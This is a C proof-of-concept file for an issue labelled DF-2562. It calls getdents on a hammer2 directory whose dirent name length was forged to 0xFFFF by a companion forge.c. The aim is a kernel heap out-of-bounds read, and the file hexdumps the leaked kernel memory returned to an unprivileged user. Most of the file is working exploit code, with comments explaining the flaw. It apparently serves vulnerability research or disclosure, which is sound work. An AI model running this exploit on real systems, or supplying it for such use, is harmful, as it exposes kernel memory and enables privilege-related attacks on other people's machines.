DF-2562 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | /* * poc.c - DF-2562 readdir OOB-read trigger * * Calls getdents(2) on a hammer2 directory with a large buffer. * If the on-disk DIRENT namlen has been forged to a large value * (by forge.c), the kernel's vop_write_dirent does: * * bcopy(d_name, dp->d_name, d_namlen); * * with d_namlen = 0xFFFF, reading 65535 bytes from a 1024-byte kernel * buffer => heap OOB read. The over-read data is returned to userspace * in the dirent entry. * * Run as unprivileged user (maxx) on a hammer2 mount whose image was * forged by forge.c. * * Build: cc -O2 -o poc poc.c * Usage: ./poc <dir> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> #include <sys/syscall.h> /* DragonFly getdents = syscall 480 */ #ifndef SYS_getdents #define SYS_getdents 480 #endif #define BUFSZ (128 * 1024) /* must exceed _DIRENT_RECLEN(65535) ~ 65552 */ struct dirent_local { uint32_t d_fileno; uint16_t d_reclen; uint8_t d_type; uint8_t d_pad0; uint8_t d_namlen_lo; /* DragonFly: uint16 d_namlen */ uint8_t d_namlen_hi; uint32_t d_pad1; uint32_t d_pad2; /* d_name follows at __offsetof(struct dirent, d_name) */ }; static void hexdump(const void *data, size_t len) { const uint8_t *p = data; size_t i; for (i = 0; i < len; i++) { if (i && (i % 16 == 0)) printf("\n"); if (i % 16 == 0) printf(" %04zx:", i); printf(" %02x", p[i]); } printf("\n"); } int main(int argc, char **argv) { const char *dir; int fd; char *buf; int rc; ssize_t n; size_t off; if (argc < 2) { fprintf(stderr, "usage: %s <dir>\n", argv[0]); return 2; } dir = argv[1]; fd = open(dir, O_RDONLY | O_DIRECTORY); if (fd < 0) { perror("open"); return 1; } buf = malloc(BUFSZ); if (!buf) { perror("malloc"); close(fd); return 1; } printf("[*] getdents(%s) buf=%d\n", dir, BUFSZ); fflush(stdout); n = syscall(SYS_getdents, fd, buf, BUFSZ); rc = errno; printf("[*] getdents returned %zd (errno=%d %s)\n", n, rc, n < 0 ? strerror(rc) : "ok"); fflush(stdout); if (n > 0) { printf("[*] dumping %zd bytes of dirent data:\n", n); hexdump(buf, (size_t)n); fflush(stdout); /* Walk entries */ off = 0; while (off < (size_t)n) { struct dirent_local *d = (void *)(buf + off); uint16_t namlen = d->d_namlen_lo | (d->d_namlen_hi << 8); uint16_t reclen = d->d_reclen; const char *name = (const char *)(buf + off + 16); /* d_name offset */ printf(" entry: fileno=%u reclen=%u type=%u namlen=%u", d->d_fileno, reclen, d->d_type, namlen); if (namlen > 0 && namlen < 300) { printf(" name=\"%.*s\"", namlen, name); } else if (namlen >= 300) { printf(" name=<OVERSIZED namlen=%u>", namlen); } printf("\n"); if (reclen == 0) break; off += reclen; } } free(buf); close(fd); return 0; } |